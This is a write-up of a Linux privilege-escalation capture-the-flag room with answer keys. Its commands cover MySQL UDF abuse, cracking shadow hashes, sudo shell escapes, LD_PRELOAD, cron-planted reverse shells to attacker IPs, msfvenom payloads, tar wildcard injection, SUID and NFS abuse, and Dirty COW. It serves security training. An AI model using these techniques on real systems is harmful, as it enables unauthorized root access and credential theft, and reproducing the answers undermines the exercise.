Linux PrivEsc

This guide contains the answer and steps necessary to get to them for the Linux PrivEsc room.

Table of contents

• Deploy the Vulnerable Debian VM
• Service Exploits
• Weak File Permissions - Readable /etc/shadow
• Weak File Permissions - Writable /etc/passwd
• Sudo - Shell Escape Sequences
• Sudo - Environment Variables
• Cron Jobs - File Permissions
• Cron Jobs - PATH Environment Variable
• Cron Jobs - Wildcards
• SUID / SGID Executables - Known Exploits
• SUID / SGID Executables - Shared Object Injection
• SUID / SGID Executables - Environment Variables
• SUID / SGID Executables - Abusing Shell Features (#1)
• SUID / SGID Executables - Abusing Shell Features (#2)
• Passwords & Keys - History Files
• Passwords & Keys - Config Files
• Passwords & Keys - SSH Keys
• NFS
• Kernel Exploits
• Privilege Escalation Scripts

Deploy the Vulnerable Debian VM

Username: user

Password: password321

https://www.exploit-db.com/exploits/1518

ssh user@10.10.42.225

Service Exploits

In this taask we will exploit the fact that the MySQL service runs as root and this user doesn't have a password assigned to it.

Read and follow along with the above.

First we navigate to the folder containing the exploit files.

cd /home/user/tools/mysql-udf

Now we compile the exploit code with the following code:

gcc -g -c raptor_udf2.c -fPIC
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

Now we can connect to the MySQL service as the root user with a blank password.

mysql -u root

First we create a new table in the mysql database:

use mysql;
create table foo(line blob);

Then we insert the exploit code into the table and dump the output.

insert into foo values(load_file('/home/user/tools/mysql-udf/raptor_udf2.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';

Lastly, we creat a User Defined Function 'do_system'.

create function do_system returns integer soname 'raptor_udf2.so';

Now we can user this function to copy /bin/bash to /tmp/rootbash.

select do_system('cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash');

Finally, we can navigate to the copied file and with it to get a root shell.

./rootbash -p

After we are finished, we should remove the file again.

.rm rootbash
exit

Weak File Permissions - Readable /etc/shadow

In this task we utilize insecure read permissions for the /etc/shadow file.

1. What is the root user's password hash?

We first need to find the permission we have for this file as a normal user.

ls -lh /etc/shadow

Looks like the file as read and write permissions for all users. We can now view the file.

cat /etc/shadow

Here we can find the has for the user root between the first two :.

Click for answer

$6$Tb/euwmK$OXA.dwMeOAcopwBl68boTG5zi65wIHsc84OWAIye5VITLLtVlaXvRDJXET..it8r.jbrlpfZeMdwD3B0fGxJI0

1. What hashing algorithm was used to produce the root user's password hash?

THe first thing we can try is hash-identifier to find the hashing algorithm.

Looks like it is a SHA256 hash. However, using examples from hashcat we can find the exact hash by looking at the format.

Click for answer

sha512crypt

1. What is the root user's password?

The next step is to crack the password with either hashcat or john.

hashcat -m 1800 password.hash /usr/share/wordlists/rockyou.txt

john --wordlist=/usr/share/wordlists/rockyou.txt password.hash

Now we can use the found password to switch to the root user.

su -u root

Click for answer

password123

Weak File Permissions - Writable /etc/shadow

In this task we utilize insecure write permissions for the /etc/shadow file.

Read and follow along with the above.

Again we can use ls -lh /etc/shadow to find out what the permissions for this file are.

Instead of cracking the password, we can simply add our own, since we have write permissions for this file. We can use mkpasswd to create the hashed password.

mkpasswd -m sha-512 iamroot

Next we can replace the root users password with our own password.

Now we can switch to the root user with our own password.

Weak File Permissions - Writable /etc/passwd

In this task we utilize insecure write permissions for the /etc/passwd file.

We first use the following command to find the permissions we have for the /etc/passwd file.

ls -l /etc/passwd

Looks like we have write access. Lets create a new password for the root user we can substitute. This can be done on our target machine or attack machine. Due to the way the machines are setup the resulting hashes may be different as they use a different method. However, the outcome should be the same.

openssl passwd iamroot

We can do two things now. We can either replace the root users password with our new one. Or we can copy the root user line in the passwd file and change the name and password. I will use the second option here.

Now we can switch to our new user with the following and enter the newly created password:

su newroot

1. Run the "id" command as the newroot user. What is the result?

Click for answer

uid=0(root) gid=0(root) groups=0(root)

Sudo - Shell Escape Sequences

In this task we will abuse the insecure sudo settings for various bins on the file system.

1. How many programs is "user" allowed to run via sudo?

We can use sudo -l to view all the executables we can run with sudo.

Click for answer

11

1. One program on the list doesn't have a shell escape sequence on GTFOBins. Which is it?

After going through the entire list in GTFOBins, there is one binary that was not listed on the website.

Click for answer

apache2

Consider how you might use this program with sudo to gain root privileges without a shell escape sequence.

sudo apache2 -f /etc/shadow

https://touhidshaikh.com/blog/2018/04/abusing-sudo-linux-privilege-escalation/

Extra challenge: We can use (https://gtfobins.github.io/) to find out how to get an elevated shell with each binary.

awk

sudo awk 'BEGIN {system("/bin/sh")}'

iftop

sudo iftop
!/bin/sh

find

sudo find . -exec /bin/sh \; -quit

ftp

sudo ftp
!/bin/sh

less

sudo less /etc/profile
!/bin/sh

man

sudo man man
!/bin/sh

more

TERM= sudo more /etc/profile
!/bin/sh

nano

sudo nano
^R^X
reset; sh 1>&0 2>&0

nmap

sudo nmap --interactive
nmap> !sh

vim

sudo vim -c ':!/bin/sh'

Sudo - Environment Variables

In this task we will use the environmental variable settings for sudo.

Using sudo -l we can check which environment variables are inherited.

Read and follow along with the above.

First we create a shared object using the code provided:

gcc -fPIC -shared -nostartfiles -o /tmp/preload.so /home/user/tools/sudo/preload.c

Next, we run one of the programs we are allowed to run with sudo

sudo LD_PRELOAD=/tmp/preload.so find

We run ldd to check which shared libraries are used by the program.

ldd /usr/sbin/apache2

Now we created another shared object with the same name as one of the listed libraries.

gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c

And now we run apache with sudo

sudo LD_LIBRARY_PATH=/tmp apache2

Cron Jobs - File Permissions

In this task we will use weak file permissions for scheduled tasks.

First we look at the contents of the system-wide crontab.

cat /etc/crontab

Looks like one of the tasks executes a script. We can easily locate it with locate.

locate overwrite.sh

Now that we know its location, lets look at the permissions we have for this file.

ls -l /usr/local/bin/overwrite.sh

It seems like we have write access to it. How convenient. Lets open it up to edit the contents of the file.

nano /usr/local/bin/overwrite.sh

Now we add the following code to the file.

bash -i >& /dev/tcp/10.10.10.10/4444 0>&1

Then we start a listener on our device and wait for the task to execute a create a shell for us.

nc -nvlp 4444

Cron Jobs - PATH Environment Variable

In this task we use the PATH variable to execute our own code.

First we look at the contents of the system-wide crontab.

cat /etc/crontab

Looks like it looks for the scripts in /home/user. Lets create our own script in this folder.

touch overwrite.sh
nano overwrite.sh

Now we add the following code to this file (similar to the previous task)

#!/bin/bash

cp /bin/bash /tmp/rootbash
chmod +xs /tmp/rootbash

Next, we must make sure this script is executable with chmod.

chmod +x /home/user/overwrite.sh

If executed properly, this should create an executable we can run in the /tmp/ folder. Running the following command should give us a root shell.

/tmp/rootbash -p

Before moving on, we must remove the script.

rm /tmp/rootbash
exit

1. What is the value of the PATH variable in /etc/crontab?

Click for answer

/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

Cron Jobs - Wildcards

In this task we will utilize the fact that tar can be used with a wildcard to run extra commands.

Read and follow along with the above.

Lets look at the other file in the crontab.

cat /usr/local/bin/compress.sh

On GTFO Bins we can see which commands we can run with tar. We can use msfvenom to create the necessary payload.

msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.18.78.136 LPORT=1337 -f elf -o shell.elf

Now we use scp to transfer this file to our target machine.

scp -r -oHostKeyAlgorithms=+ssh-rsa shell.elf user@10.10.136.213:/home/user/shell.elf

We must make this file executable:

chmod +x /home/user/shell.elf

Next we must create two files in the user folder.

touch /home/user/--checkpoint=1
touch /home/user/--checkpoint-action=exec=shell.elf

Now we just set up a listener on our machine a wait for the task to run.

nc -nlvp 1337

Lastly, we must remove the files again.

rm /home/user/shell.elf
rm /home/user/--checkpoint=1
rm /home/user/--checkpoint-action=exec=shell.elf

SUID / SGID Executables - Known Exploits

In this task we will abuse known exploits for binaries with their SUID bit set.

Read and follow along with the above.

We use the following command to find all executables with their SUID/SGID bit set.

find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null

Another method I use myself is:

find / -perm -4000 2> /dev/null

Looks like there is an exploit we can use.

We can use the pre-made script from the machine.

s -lh tools/suid/exim

./tools/suid/exim/cve-2016-1531.sh

However, we can also create this file ourselves from the exploit database.

touch cve-2016-1531.sh
nano cve-2016-1531.sh

Make sure it is executable and then run the script.

chmod +x cve-2016-1531.sh
./cve-2016-1531.sh

SUID / SGID Executables - Shared Object Injection

In this task we exploit an executable that is vulnerable to shared object injection.

Read and follow along with the above.

The /usr/local/bin/suid-so executbale is vulnerable and when running it will give a progress bar.

/usr/local/bin/suid-so

We now run strace to search the file for open/access calls and 'no such file' errors.

strace /usr/local/bin/suid-so 2>&1 | grep -iE "open|access|no such file"

Now we create the folder in which it is looking for a file (libcalc.so).

mkdir /home/user/.config

Next, we compile a shared object that will give us a root shell.

gcc -shared -fPIC -o /home/user/.config/libcalc.so /home/user/tools/suid/libcalc.c

If we now run the executable again, we get a rootshell instead.

/usr/local/bin/suid-so

SUID / SGID Executables - Environment Variables

In this task we exploit an executable due to it inheriting the user's PATH environment variable.

Read and follow along with the above.

First, we run the file to see what it tries to run.

/usr/local/bin/suid-env

Looks like it tries running apache2 webservers. Running the following command we look for anything related to apache2.

strings /usr/local/bin/suid-env

The full path for the apache2 service is not used. So we create an executable that will be run inplace of the real one.

gcc -o service /home/user/tools/suid/service.c

Now we must add the current directory to the PATH variable.

PATH=.:$PATH /usr/local/bin/suid-env

Finally, we can run the executable again to get a root shell.

/usr/local/bin/suid-env

SUID / SGID Executables - Abusing Shell Features (#1)

In this task we have a similar situation as the previous one. Only this time the executable uses the absolute path.

/usr/local/bin/suid-env2

Read and follow along with the above.

We can verify this we the following command:

strings /usr/local/bin/suid-env2

We need to check the bash version as well as prior to 4.2-048 we can define a shell function with a name that resembles file paths.

/bin/bash --version

Now, we create a bash function /usr/sbin/service that executes a bash shell.

function /usr/sbin/service { /bin/bash -p; }
export -f /usr/sbin/service

Finally, we can run the executable to get a root shell.

/usr/local/bin/suid-env2

SUID / SGID Executables - Abusing Shell Features (#2)

In this task we will exploit a debugging feature in bash 4.3 and prior.

Read and follow along with the above.

First, we run the /usr/local/bin/suid-env2 executable with bash debugging enabled and the PS4 variable set to an embedded command which creates an SUID version of /bin/bash:

env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash)' /usr/local/bin/suid-env2

Now we can run the executable to get a root shell.

/tmp/rootbash -p

After we are finished, we should remove the file for this challenge.

rm /tmp/rootbash
exit

Passwords & Keys - History Files

In this task we utilize commands being saved in a file and accidentally entered credentials.

1. What is the full mysql command the user executed?

We can look at the history of commands typed with the following command:

cat ~/.*history | less

This efectively looks through all files with 'history' in its name.

With the credentials we found here, we can switch to the root user.

su root

Click for answer

mysql -h somehost.local -uroot -ppassword123

Passwords & Keys - Config Files

In this task we use the fact that passwords may sometimes be stored in files as cleartext.

1. What file did you find the root user's credentials in?

Looking through the folder we can see there is a vpn config file.

ls -lh ~

We can read the file to see if we can find anything interesting.

cat /home/user/myvpn.ovpn

Looks like there could be credentials stored in one of the files mentioned here.

Now we can switch to the root user with this password.

su root

Click for answer

/etc/openvpn/auth.txt

Passwords & Keys - SSH Keys

In this task we make use of lingering backup files with credentials.

Read and follow along with the above.

ls -la /

We can see several hidden folders, of which the following might be of interest.

ls -lh /.ssh

Lets look at the key contents.

cat /.ssh/root_key

With can copy this key to our attack machine to ssh into the target with it a get root access.

We must give the key the right permissions, otherwise the ssh client will not accept it.

chmod 600 root_key 

Now it does work.

ssh -i root_key -oPubkeyAcceptedKeyTypes=+ssh-rsa -oHostKeyAlgorithms=+ssh-rsa root@10.10.65.67

NFS

In this task we use tha fact that files created via NFS inherit the remote user's ID.

1. What is the name of the option that disables root squashing?

First we check the NFS share configuration.

cat /etc/exports

It seems root squaching is not enabled.

On our attack machine we switch to the root user and create a mount point.

sudo su
mkdir /tmp/nfs

Now we can mount the target machines /tmp/ folder to our machine.

mount -o rw,vers=3 10.10.197.244:/tmp /tmp/nfs

Still on our attack machine we create a payload with msfvenom.

sudo msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/nfs/shell.elf
sudo chmod +xs /tmp/nfs/shell.elf

We can check to see if the file is indeed in the /tmp/ folder.

ls -lh /tmp

Finally, we can run this file from the target machine.

/tmp/shell.elf

Click for answer

no_root_squash

Kernel Exploits

In this task we look for any kernel exploits we can use on this machine. Dirty cow in this situation.

Read and follow along with the above.

First, we run the Linux Exploit Suggester 2 tool.

perl /home/user/tools/kernel-exploits/linux-exploit-suggester-2/linux-exploit-suggester-2.pl

Looks like we can use the Dirty COW exploit. Lets compile the code and run it.

gcc -pthread /home/user/tools/kernel-exploits/dirtycow/c0w.c -o c0w
./c0w

Now that the exploit has been run, we can run the passwd file to get a root shell.

/usr/bin/passwd

Lastly, we should remove the created files before we continue.

mv /tmp/bak /usr/bin/passwd
exit

Privilege Escalation Scripts

In this final task we experiment with some automation scripts that look for these privelege escalation methods. Most if not all of those we manually found are listed by these scripts.

Read and follow along with the above.

In the privesc-scripts folder we find three automation scripts.

cd /home/user/tools/privesc-scripts

Running LinEnum first, we can see everything it comes up with, including things we previously found. Like the SUID and SGID files.

./LinEnum.sh

Running Linpeas, we can see everything it comes up with, including things we previously found. Like the NFS root squashing.

./linpeas.sh

Running LSE, we can see everything it comes up with, including things we previously found. Like sudo permissions.

./lse.sh